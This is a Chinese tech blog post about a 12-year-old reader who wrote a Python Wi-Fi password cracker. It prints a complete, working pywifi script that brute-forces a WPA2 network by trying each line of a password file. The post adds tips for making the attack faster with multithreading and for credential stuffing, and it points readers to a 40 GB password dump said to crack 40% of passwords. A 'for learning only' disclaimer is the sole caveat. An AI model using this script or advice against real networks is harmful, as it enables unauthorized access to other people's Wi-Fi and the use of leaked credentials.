12岁小读者使用Python暴力破解Wi-Fi密码

SQL数据库开发

共 2692字,需浏览 6分钟

 ·

2020-09-28 19:02

点击关注上方“SQL数据库开发”,

设为“置顶或星标”,第一时间送达干货

这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云

像之前还有小读者问我现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择

这不,就有小读者给我投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看

1.投稿内容

Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:

1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。

2.然后判断电脑是否连接wifi

3.创建wifi连接文件,选择要连接wifi名称,检查加密单元

4.接下来删除所有连接过的wifi 判断wifi是否连接。

5.最后需要一个八位以上的密码本,一行一行读取就可以了。

完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊

# coding:utf-8
import pywifi
from pywifi import const
import time

#测试连接,返回链接结果
#抓取网卡接口(改进)
#wifi = pywifi.PyWiFi()
#获取第一个无线网卡
#ifaces = wifi.interfaces()[0]

def wifiConnect(pwd):
    #抓取网卡接口(原版)
    wifi = pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile = pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid = "wifi名称"
        #网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key = pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path = r"C:\Users\电脑路径\Desktop\password.txt"
    #打开文件
    file = open(path, "r")
    while True:
        try:
            #一行一行读取
            pad = file.readline()
            bool = wifiConnect(pad)

            if bool:
                print("密码已破解: ", pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ", pad)
        except:
            continue
readPassword()

注:上述方法仅供学习讨论

下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!

虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!

2.说两句

对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。

这里提出了两点可以改进的地方

  • 暴力破解单线程太慢,可以尝试使用任务处理
  • 密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码

那么后浪来了,还在学Python的你有如何感想?


——End——

后台回复关键字:1024,获取一份精心整理的技术干货
后台回复关键字:进群,带你进入高手如云的交流群。
推荐阅读
这是一个能学到技术的公众号,欢迎关注
点击「阅读原文」了解SQL训练营

浏览 30
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报